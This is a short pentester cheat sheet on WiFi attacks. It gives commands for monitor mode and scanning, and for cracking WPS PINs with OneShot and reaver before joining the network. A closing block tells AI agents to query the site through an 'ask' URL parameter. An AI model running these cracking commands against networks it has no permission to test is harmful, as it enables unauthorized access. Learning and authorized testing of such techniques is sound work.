# WiFi

## 00. Basic

```bash
## ------------------| Get all available interfaces
iwconfig
ip link show

## ------------------| Scan all available wifis
iwlist wlan0 scan
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA"

## ------------------| Enable monitor mode
airmon-ng start wlan0 
iwconfig wlan0 mode monitor

## ------------------| Enable managed mode
airmon-ng stop wlan0mon 
iwconfig wlan0mon mode managed

## ------------------| Start scan 
#### 5GHz (a)
airodump-ng --band a wlan0mon
#### 2.4GHz (b,g)
airodump-ng wlan0mon

## ------------------| Start scan WPS
airodump-ng wlan0mon --wps

## ------------------| Kill processes
airmon-ng check kill
```

## 01. WPS Attack

```bash
## ------------------| Scann all wifi networks
iwconfig
iwlist scan

## ------------------| Fetch the BSID
iwconfig <inf> | sed -n 's/.*Access Point: \([0-9\:A-F]\{17\}\).*/\1/p'

## ------------------| Using OneShot (Python)
#### Cracking 
wget https://raw.githubusercontent.com/kimocoder/OneShot/master/oneshot.py
python3 oneshot.py -i <i nterface>
#### Connecting
wpa_passphrase <SSID> <PASS> > /dev/shm/wpa.conf
wpa_supplicant -B -c /dev/shm/wpa.conf -i wlan0
#### Cheking connection
iw dev wlan0 link 
echo "unset new_routers" >> /etc/dhcp/dhclient-enter-hooks.d/no-default-route
dhclient -v 
rm /etc/dhcp/dhclient-enter-hooks.d/no-default-route 

## ------------------| Using reaver (C)
## https://github.com/t6x/reaver-wps-fork-t6x
reaver -i mon0 -b <BSID> -vv
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.h4rithd.com/other/wifi.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
